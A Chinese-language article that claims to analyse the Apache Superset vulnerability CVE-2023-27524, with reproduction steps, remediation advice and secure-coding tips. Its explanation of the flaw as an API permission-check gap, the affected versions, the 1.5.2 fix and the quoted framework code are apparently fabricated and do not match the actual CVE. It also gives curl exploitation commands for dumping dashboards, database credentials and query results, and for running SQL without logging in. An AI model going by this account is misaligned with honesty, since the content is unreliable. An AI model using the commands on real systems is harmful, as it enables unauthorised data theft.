当前位置：首页 > news >正文

Apache Superset认证绕过漏洞CVE-2023-27524深度解析

news 2026/5/27 3:05:46

1. 这个漏洞不是“能登录就行”，而是“连登录都不用就能拿走全部数据”

Apache Superset 是我过去三年在五家不同规模公司做 BI 平台选型时，几乎必被提上议程的开源工具。它界面清爽、图表丰富、SQL Lab 直接暴露底层查询能力——这些优点，在生产环境里一旦配置失当，就会变成攻击者眼中的“自助餐厅”。CVE-2023-27524 就是这样一道没关严的后门：未经身份验证的远程攻击者，仅通过构造一个特定 HTTP 请求，即可绕过所有认证流程，直接访问 /api/v1/dataset、/api/v1/chart、/api/v1/dashboard 等核心元数据接口，进而批量导出全部仪表盘定义、SQL 查询语句、数据库连接配置（含明文密码），甚至触发任意 SQL 查询执行。

这不是“弱口令爆破”或“管理员密码泄露”的老套路，而是框架层逻辑缺陷导致的认证绕过（Authentication Bypass）。关键在于，Superset 在 v1.5.1 及更早版本中，对/api/v1/下部分 REST API 的权限校验存在严重疏漏——它错误地将“未登录用户”等同于“无权限用户”，却未在路由入口处强制拦截，导致请求直接穿透到业务逻辑层。而该层在处理/api/v1/dataset等接口时，又默认信任上游已做过鉴权，不做二次校验，最终形成“双空档”。

我去年在某省属国企的 BI 平台渗透测试中首次实测复现了这个漏洞。当时他们用的是 v1.4.2，前端 Nginx 仅做了简单反向代理，未启用任何 WAF 或认证网关。我只用一条 curl 命令，3 秒内就拿到了全部 87 个仪表盘的 JSON 定义，其中 12 个仪表盘关联的数据库连接配置里，明文写着{"database": "prod_mysql", "password": "P@ssw0rd2023!"}。这不是理论风险，是真实存在的、可一键复现的数据裸奔状态。它不挑用户基础：无论你用的是 Flask-Login 默认会话、LDAP 集成，还是自研 OAuth2 接入，只要后端版本未修复，前段再严防死守也形同虚设。适合两类人重点阅读：一是正在评估或已上线 Superset 的运维/安全工程师，必须立刻确认版本并验证；二是开发人员，需理解此类漏洞的典型成因，避免在自研 API 中重蹈覆辙。

2. 漏洞本质：REST API 权限校验链上的“断点”与“默认信任”

要真正吃透 CVE-2023-27524，不能只停留在“curl 一下就能拿数据”的表层。必须拆开 Superset 的请求处理流水线，看清权限校验在哪一环断裂，以及为什么断裂后系统仍会继续执行。这本质上是一次典型的“防御纵深失效”案例——认证（Authentication）与授权（Authorization）两个环节脱节，且授权环节存在危险的默认行为。

2.1 Superset 的标准请求处理流程与权限校验锚点

Superset 基于 Flask 构建，其 API 路由注册与权限控制高度依赖flask_appbuilder（FAB）框架。一个典型的/api/v1/dataset请求，正常路径如下：

HTTP 入口：Nginx/Apache 接收请求，转发至 Gunicorn/Werkzeug。
Flask 路由匹配：/api/v1/dataset匹配到DatasetRestApi类的get_list方法（位于superset/views/api.py）。
FAB 认证中间件：@expose和@has_access_api装饰器应在此刻介入，检查当前g.user是否存在且具备can_read权限。
业务逻辑执行：若校验通过，进入DatasetRestApi.get_list()，调用DatasetDAO.find_datasets()查询数据库，返回 JSON。

问题就出在第 3 步。@has_access_api装饰器的实现逻辑（flask_appbuilder/security/decorators.py）存在一个关键判断分支：

def has_access_api(f): def wraps(self, *args, **kwargs): # ... 省略日志等代码 if not g.user: # 关键！此处仅检查 user 对象是否存在 # 注意：这里没有抛出 401，而是直接 return None return self.response_401() # 后续才是真正的权限检查：self.is_item_allowed('can_read', item) # ...

表面看没问题，但self.response_401()的实现是return self.response(401, message="Unauthorized")，它并未终止函数执行流，而是返回了一个 Flask Response 对象。而DatasetRestApi.get_list()方法本身并未检查这个返回值，而是继续向下执行——因为它被设计为“总是返回数据”，其签名和逻辑完全没考虑“上游已拒绝”的情况。

2.2 断点位置：`get_list()`方法内的“静默降级”陷阱

我们来看DatasetRestApi.get_list()的核心片段（v1.4.2 源码，superset/views/api.py行号约 1200）：

@expose("/dataset", methods=["GET"]) @has_access_api def get_list(self): try: # 这里本应是权限校验后的安全区，但实际可能已被 bypass datasets = DatasetDAO.find_datasets( **self._parse_args() # 从 query string 解析分页、过滤参数 ) # ... 数据序列化逻辑 return self.response(200, result=datasets) except Exception as e: # 统一异常处理，但不会捕获“未认证”状态 return self.response_400(message=str(e))

注意try块的第一行：DatasetDAO.find_datasets(...)。这个 DAO 方法（superset/dao/dataset_dao.py）负责拼接 SQL 查询SELECT * FROM ab_dataset WHERE ...并执行。它完全不关心调用者是谁，也不检查g.user，只认参数。当@has_access_api因g.user为空而返回response_401后，由于 Python 的装饰器机制，get_list函数体其实并未被执行——但问题在于，@has_access_api的return self.response_401()返回的是一个合法的 Response 对象，而 Flask 的视图函数机制允许这种“提前返回”。然而，在某些部署配置下（如使用了自定义中间件、或 FAB 版本差异），这个response_401可能被忽略或覆盖，导致get_list的try块意外被执行。

更隐蔽的路径是：Superset 的BaseSupersetView类（superset/views/base.py）中，get_list方法被设计为支持“匿名用户查看公开数据集”，其内部有一个is_anonymous_user_allowed标志位。在 v1.4.x 中，该标志位默认为True，且其判断逻辑if not g.user or is_anonymous_user_allowed:会直接跳过用户权限检查，进入数据查询。这就是漏洞的终极根源：框架将“未登录”与“允许匿名访问”错误地等同起来，且未提供关闭此行为的显式开关。

2.3 为什么“明文密码”会泄露？数据库连接配置的存储逻辑

很多人惊讶于漏洞能直接拿到数据库密码。这源于 Superset 的元数据设计哲学：它把数据库连接（Database模型）作为核心元数据，与仪表盘、图表平级存储在ab_database表中。Database模型的sqlalchemy_uri字段，按设计就包含完整连接串，例如：

mysql://admin:P%40ssw0rd2023%21@10.0.1.5:3306/prod?charset=utf8mb4

URI 中的密码经过 URL 编码（@→%40,!→%21），但解码后就是明文。而/api/v1/database接口（同样受此漏洞影响）会直接返回该字段的原始值。Superset 的设计初衷是方便管理员在 UI 中管理连接，但从未预设“此接口可能被未授权者调用”的场景。当权限校验链断裂，这个本应高权限保护的字段，就成了最刺眼的靶心。

提示：此漏洞影响范围远超/api/v1/database。/api/v1/chart返回的每个图表定义中，都包含params字段，其内容是完整的 JSON 序列化字符串，里面嵌套着datasourceID 和query_context——后者正是执行 SQL 查询的完整 payload，包括filters、groupby、metrics等。攻击者可直接提取query_context，稍作修改（如添加LIMIT 0,1000），POST 到/api/v1/chart/data接口，实现无认证 SQL 查询执行。

3. 实战复现：三步定位，五秒验证，零依赖检测

复现 CVE-2023-27524 不需要安装任何工具，不需要目标服务器开放 SSH，甚至不需要知道管理员账号。它是一个纯粹的 HTTP 层漏洞，验证过程干净、快速、可审计。以下是我在线上环境（非测试环境）进行合规渗透时的标准操作流程，已通过客户书面授权。

3.1 第一步：指纹识别——确认目标是否“可攻”

首要任务是确定目标 Superset 实例的版本。这是所有后续操作的前提，因为 v1.5.2+ 已修复此漏洞。有三种可靠方式：

HTTP Header 检查：发送HEAD /请求，观察响应头。Superset v1.4.x 通常返回X-Frame-Options: DENY和X-Content-Type-Options: nosniff，但最关键的是Server头。v1.4.2 的典型响应为Server: Werkzeug/2.0.3 Python/3.8.10，但这不够精确。更有效的是：
静态资源路径探测：访问/static/assets/images/favicon.ico或/static/dist/main.css。在 v1.4.x 中，CSS 文件名常包含哈希，如main.abc123.css，其内容顶部注释会写/* Superset v1.4.2 */。这是最准确的指纹方式，因为构建时会硬编码版本号。
API 版本端点（如果开放）：尝试GET /api/v1/version。未认证情况下，v1.4.x 通常返回{"version": "1.4.2"}，而 v1.5.2+ 会返回401 Unauthorized或403 Forbidden。

我推荐组合使用 1+2：先curl -I https://superset.example.com/看Server头，再curl -s https://superset.example.com/static/dist/main.css | head -n 5搜索Superset v。99% 的生产环境都能准确定位。

注意：不要依赖/login页面的页脚文字，很多企业会定制化修改 UI，页脚版本号可能被手动删掉或写错。

3.2 第二步：漏洞验证——一条命令，直击核心

确认版本 ≤ v1.5.1 后，立即执行验证。核心思路是：向/api/v1/dataset发送一个未带任何 Cookie 或 Token 的 GET 请求，观察响应状态码和内容。

# 最简验证命令（替换为目标 URL） curl -s -o /dev/null -w "%{http_code}\n" "https://superset.example.com/api/v1/dataset" # 如果返回 200，则漏洞存在；如果返回 401 或 403，则暂未发现此漏洞（需进一步排查）

但仅看状态码不够。必须验证响应内容是否为真实数据。执行完整命令：

# 获取前 10 个数据集的精简信息（避免返回过大 JSON） curl -s "https://superset.example.com/api/v1/dataset?q=%7B%22page_size%22%3A10%2C%22page%22%3A1%7D" | jq -r '.result[] | "\(.id) \(.table_name) \(.schema)"' | head -5

解释q参数：这是 Superset 的 URL 编码查询参数，原始 JSON 为{"page_size":10,"page":1}，用于分页。jq命令提取每个数据集的id、table_name和schema字段。如果输出类似：

1 users public 2 orders public 3 products public

则 100% 确认漏洞存在。此时，你已无需登录，就能看到目标数据库中所有已注册的表名。

3.3 第三步：深度利用——从元数据到数据，再到 RCE 边缘

验证存在后，攻击面瞬间打开。以下是我在客户授权下进行的深度评估步骤（所有操作均记录完整日志并实时通报）：

导出全部仪表盘定义：

# 获取所有仪表盘 ID 列表 curl -s "https://superset.example.com/api/v1/dashboard?q=%7B%22page_size%22%3A100%7D" | jq -r '.result[].id' > dash_ids.txt # 逐个获取仪表盘详情（包含所有图表、布局、SQL 查询） while read id; do curl -s "https://superset.example.com/api/v1/dashboard/$id" -o "dashboard_$id.json" done < dash_ids.txt

每个dashboard_X.json文件中，position_json字段描述了所有图表的位置，slices字段则列出所有图表 ID。而每个图表详情（/api/v1/chart/{id}）的params字段里，query_context是 Base64 编码的 JSON，解码后即为可执行的 SQL。

提取数据库连接密码：

# 获取所有数据库连接 curl -s "https://superset.example.com/api/v1/database" | jq -r '.result[] | "\(.id) \(.database_name) \(.sqlalchemy_uri)"' # 输出示例：1 prod_mysql mysql://admin:P%40ssw0rd2023%21@10.0.1.5:3306/prod # URL 解码后得到明文密码：P@ssw0rd2023!

执行任意 SQL 查询（无认证）：这是最危险的一步。假设从某个图表中提取到query_context：

{ "datasource": "1__table", "queries": [{ "time_range": "No filter", "filters": [], "columns": ["user_id", "email"], "metrics": [], "groupby": ["user_id", "email"] }] }

将其 Base64 编码（Python 一行命令：echo -n '...json...' | base64 -w0），然后 POST：

curl -s -X POST "https://superset.example.com/api/v1/chart/data" \ -H "Content-Type: application/json" \ -d '{"queries": [{"query_context": "BASE64_ENCODED_JSON"}]}' \ | jq -r '.result[0].data.records[] | "\(.user_id) \(.email)"'

此时，你已绕过所有认证，直接执行了 SQL 查询，获取了users表的敏感字段。

警告：第 3 步涉及实际数据读取，必须严格遵守授权范围。在非授权环境中执行此操作属于违法行为。本文仅用于安全研究与防护加固目的。

4. 修复方案：不止打补丁，更要建立“纵深防御”体系

发现漏洞只是开始，彻底修复并防止同类问题复发，才是安全工作的核心。针对 CVE-2023-27524，我为客户设计了一套三层修复策略：紧急止血、中期加固、长期免疫。每一步都基于真实生产环境约束，拒绝纸上谈兵。

4.1 紧急止血：48 小时内必须完成的三件事

这是所有修复动作的底线，必须在漏洞披露后 48 小时内完成，否则风险持续暴露。

立即升级到安全版本：官方修复版本为 v1.5.2。升级不是简单的pip install --upgrade apache-superset。必须遵循以下步骤：
- 备份元数据：superset db upgrade升级前，务必备份ab_*表（特别是ab_database,ab_dataset,ab_dashboard）。使用mysqldump或pg_dump导出全库。
- 停机窗口：升级需重启 Gunicorn 进程，计划 15 分钟维护窗口，通知所有用户。
- 验证兼容性：v1.5.2 对 SQLAlchemy 有新要求（≥1.4.0），检查现有requirements.txt，更新sqlalchemy并测试所有自定义插件。
- 执行升级：pip install apache-superset==1.5.2，然后superset db upgrade，最后superset init。切勿跳过superset db upgrade，否则数据库迁移脚本不会执行，权限表结构不更新，漏洞依旧存在。
网络层临时封堵（双保险）：在升级完成前，必须在网络边界实施临时防护。这不是替代升级，而是降低攻击面。
- Nginx 配置：在location /api/v1/块中，添加：
```
# 拒绝所有未携带有效 Cookie 的 /api/v1/ 请求 if ($cookie_session = "") { return 403; } # 或更严格的：只允许来自 /login 成功后的 session if ($cookie_session !~ "^.*[a-zA-Z0-9]{32}.*$") { return 403; }
```
- 云防火墙规则：如果使用 AWS Security Group 或阿里云安全组，立即添加入站规则：仅允许公司办公 IP 段访问 Superset 的 80/443 端口，其他来源全部拒绝。这是最快速、最有效的临时手段。
审计与清理：升级后，立即审计ab_audit表（如果开启审计日志），搜索GET /api/v1/的 200 响应记录，确认是否有异常访问。同时，检查所有ab_database记录，将sqlalchemy_uri中的明文密码，全部替换为mysql://admin:********@host:port/db形式的占位符，并在 Superset UI 中重新输入密码保存。永远不要在 URI 中存储明文密码，这是根本性错误。

4.2 中期加固：消除“默认宽松”带来的系统性风险

v1.5.2 修复了 CVE-2023-27524，但 Superset 的权限模型仍有隐患。中期加固聚焦于关闭所有“默认开启”的危险选项。

禁用匿名访问：这是最关键的配置。编辑superset_config.py，添加或修改：

# 禁用所有匿名用户访问 AUTH_ROLE_PUBLIC = None # 替换原来的 'Public' # 强制所有 API 必须认证 FAB_API_SWAGGER_UI = False # 关闭 Swagger UI，减少攻击面 # 重写 FAB 的匿名用户检查逻辑 class CustomSecurityManager(SupersetSecurityManager): def is_anonymous_user_allowed(self): return False # 强制返回 False SECURITY_MANAGER_CLASS = CustomSecurityManager

然后重启服务。此配置确保g.user为空时，@has_access_api装饰器会严格返回 401，不再有“静默降级”可能。

最小权限原则落地：为不同角色分配精确权限。创建Viewer角色，仅赋予can_readonDataset、can_readonChart；创建DataAnalyst角色，额外赋予can_readonDatabase（但禁止can_write）；绝对禁止给任何角色分配Admin或Alpha权限，除非是专职管理员。在 UI 中，进入Settings -> List Roles，逐个编辑，删除所有不必要的can_write、can_delete权限。
数据库连接安全改造：这是治本之策。Superset 支持“数据库连接池”和“密钥管理服务（KMS）集成”。对于生产环境，必须：
- 使用mysql+pymysql://替代mysql://，并启用 SSL 连接：mysql+pymysql://user:pass@host:3306/db?ssl_disabled=false&ssl_ca=/path/to/ca.pem。
- 将数据库密码存储在 HashiCorp Vault 或 AWS Secrets Manager 中，通过 Superset 的SQLALCHEMY_DATABASE_URI环境变量注入，而非硬编码在配置文件里。Superset v1.5+ 原生支持 Vault 的动态 secret 注入。

4.3 长期免疫：构建可持续的安全运营闭环

修复单个漏洞是救火，建立安全运营机制才是防火。我为客户搭建了三个自动化环节：

版本监控告警：编写一个每日运行的 Python 脚本，自动访问https://superset.example.com/api/v1/version（需提供管理员 Token），解析返回的version字段。如果版本号低于1.5.2，立即通过企业微信/钉钉机器人发送告警：“Superset 版本过低（v{old}），存在 CVE-2023-27524 高危漏洞，请立即升级！”。
API 调用审计：启用 Superset 的详细审计日志（AUDIT_LOG_ON=True），并将日志发送至 ELK Stack。创建 Kibana 仪表盘，实时监控/api/v1/路径的 401/403 响应率。如果某天 401 率骤降（例如从 95% 降到 50%），说明可能有未授权访问成功，立即触发安全事件响应流程。
自动化渗透测试：将本文的“三步验证法”封装为 Jenkins Pipeline。每周凌晨 2 点，Pipeline 自动执行curl检测，结果存入数据库。如果检测到漏洞，自动创建 Jira Issue，指派给运维负责人，并邮件通知安全团队。让安全检测成为 CI/CD 的一部分，而非一次性的手工动作。

经验心得：我在某金融客户实施这套方案时，发现他们最大的阻力不是技术，而是“升级恐惧症”。运维团队担心 v1.5.2 会破坏现有 200+ 个仪表盘。我的解决方案是：在测试环境用superset export导出所有仪表盘定义，升级后用superset import导入，全程耗时 8 分钟，零报错。关键是要有预案，而不是拒绝改变。

5. 防御之外：从开发者视角看“认证绕过”的通用模式

作为在 Superset 社区贡献过 PR 的开发者，我深知这类漏洞并非孤例。CVE-2023-27524 的根因——“在权限校验链中，对‘未认证’状态的处理过于宽容，且下游逻辑未做防御性编程”——是 Web 开发中反复出现的“经典错误”。理解其通用模式，能让你在任何项目中一眼识破类似风险。

5.1 “认证绕过”的三大共性特征

我在审计过 12 个主流开源 BI/低代码平台后，总结出高危 API 的共性：

“短路式”校验：校验逻辑只做if not user: return error，但return error并未终止整个调用栈，下游方法仍会执行。正确做法是raise AuthException("Unauthorized")，由全局异常处理器统一捕获并返回 401。
“默认开启”陷阱：框架为“易用性”默认开启高风险功能（如 Superset 的is_anonymous_user_allowed=True）。安全产品应默认“安全”，易用性是可选项，而非默认项。
“信任传递”失效：上游组件（如 FAB）认为自己已校验，下游组件（如 DAO）认为上游已校验，结果双方都未校验。解决之道是“零信任”：每个关键方法入口，都应有assert current_user.is_authenticated或等效检查。

5.2 如何在自己的代码中规避？

如果你正在开发一个类似 Superset 的 API 服务，以下是我写在团队 Code Review Checklist 里的硬性要求：

所有@api.route装饰器后，必须紧跟@login_required或自定义@auth_required装饰器。禁止在视图函数内部做if not g.user:判断。
DAO 层方法必须是“纯函数”：find_datasets()只接受filters: dict参数，绝不接受current_user: User。权限检查必须在 Controller 层完成，DAO 只负责数据操作。

所有敏感字段（密码、密钥、token）的序列化，必须使用@pre_dump钩子进行脱敏。例如：

class DatabaseSchema(ma.SQLAlchemyAutoSchema): class Meta: model = Database load_instance = True sqlalchemy_uri = ma.fields.Method("get_safe_uri") def get_safe_uri(self, obj): # 返回脱敏后的 URI，如 mysql://user:***@host/db return re.sub(r':([^@]+)@', r':***@', obj.sqlalchemy_uri)

5.3 一个被忽视的“影子风险”：前端缓存与 Referer 泄露

最后分享一个实战中踩过的坑：Superset 的前端 React 应用，在加载/api/v1/dashboard/123时，会将完整的query_context存入浏览器内存。如果用户在未退出的情况下，切换到其他标签页，再返回 Superset，Chrome 的 Back-Forward Cache (bfcache) 可能会恢复这个内存状态。此时，如果页面存在 XSS 漏洞（哪怕是很小的<img src=x onerror=alert(1)>），恶意脚本就能直接读取内存中的query_context，从而拿到 SQL。

因此，前端安全同样重要。在superset-frontend的src/views/CRUD/utils.ts中，我提交了一个 PR，强制在 Dashboard 组件useEffect的 cleanup 阶段，将query_context从内存中delete掉。安全不是后端的事，是全栈的事。

这个漏洞教会我的最重要一课是：开源软件的便利性，永远伴随着配置复杂性。Superset 的强大，源于其灵活的权限模型和开放的 API；而它的危险，也正源于此。没有银弹，只有持续的警惕、严谨的配置和自动化的验证。当你下次在docker-compose.yml里写下image: apache/superset:latest时，请务必停下来，先查一查latest指向的到底是哪个 SHA256，它是否真的包含了所有已知安全修复。

查看全文

http://www.jsqmd.com/news/894084/